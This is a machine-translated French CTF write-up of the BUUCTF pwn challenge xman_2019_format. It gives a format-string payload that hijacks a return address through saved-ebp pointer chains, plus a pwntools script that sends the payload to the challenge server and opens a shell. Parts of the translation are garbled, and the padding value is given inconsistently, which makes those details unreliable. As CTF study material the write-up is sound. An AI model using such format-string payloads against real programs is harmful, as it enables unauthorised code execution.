[BUUCTF] PWN —— xman_2019_format (fmt + pile de dynamitage sur le tas)

xman_2019_format

  1. Inspection de routine, programme 32 bits, nx est activé
    Insérez la description de l'image ici
  2. Récupération de la chaîne dans le programme, trouvé la fonction de porte dérobée, back_doorr = 0x80485AB
    Insérez la description de l'image ici
  3. Cette question buf n'est pas stockée sur la pile, mais sur le tas demandé par malloc
    Insérez la description de l'image ici
  4. Puis buf comme paramètre, entrez sub_80485C4
    Insérez la description de l'image ici
  5. Puisqu'il existe une fonction de porte dérobée, vous pouvez utiliser la chaîne de format pour changer l'adresse de retour en back_door , qui est
    principalement utilisée pour écrire la %ac$bnlongueur ades données dans bla position de décalage .
  6. Les vulnérabilités de chaîne de format doivent généralement divulguer d'abord l'adresse de la pile, puis calculer le décalage, mais il n'y a aucun moyen de l'utiliser ici, car les s ici sont stockés sur le bloc, pas sur la pile. Par conséquent, nous pouvons utiliser les données déjà présentes sur la pile pour placer un pointeur vers la pile d'adresses de retour de fonction sur la pile, puis détourner la pile d'adresses de retour.
    Insérez la description de l'image ici
    La chaîne ebp est à un décalage de 10 par rapport à notre point d'entrée, la chaîne ebp 2 est à 0x12 et l'adresse de retour est à 0x13. En combinant avec 0xcf3c et de multiples changements, on constate que le dernier pointeur de l'adresse de retour est 0xc, l'adresse de retour est 0x8048697, puis back_doorr = 0x80485AB
  7. Mon idée est d'utiliser la chaîne ebp pour modifier le pointeur qui pointe la chaîne ebp vers l'adresse de retour, puis de changer l'adresse de retour en back_door, et il suffit de modifier deux octets.
payload='%12c%10$hhn|%34219c%18$hn'

Expliquez un peu la charge utile.
%12c%10$hhn
Supposons que le dernier bit du pointeur de l'adresse de retour soit 0x0c (0 ~ F sont tous OK, avec une probabilité de 1/16) et que le décalage est de 10 (le premier ebp encerclé dans la figure ci-dessus) L'octet de poids faible du contenu de la chaîne) est remplacé par 0xc. Maintenant, le contenu de 0xffffcf38 est 0xffffcf0c. Continuez
%34249c%18$hn
ensuite à modifier le décalage à 18 (la chaîne ebp encerclée dans le deuxième cercle de la figure ci-dessus) car nous avons déjà mis 0xffffcf38 dans Le contenu est modifié en 0xffffcf0c, donc ce qui est modifié ici est le contenu de 0xffffcf0c (en supposant que ce soit l'adresse de retour), nous changeons l'adresse en back_door, car seuls les 2 derniers octets sont différents , alors modifiez-le légèrement Oui, 34219 = 0x85ab

Le moment est venu de tester le personnage. J'ai essayé plusieurs fois avant de réussir.
Terminer l'expérience

from pwn import *

p = remote("node3.buuoj.cn",27585)
#p=process('./xman_2019_format')
backdoor = 0x080485AB
 
payload='%12c%10$hhn|%34219c%18$hn'
p.sendline(payload)

p.interactive()

Insérez la description de l'image ici
参考 wp :https://www.yuque.com/u239977/cbzkn3/biczbd

Je suppose que tu aimes

Origine blog.csdn.net/mcmuyanga/article/details/115060990
conseillé
Classement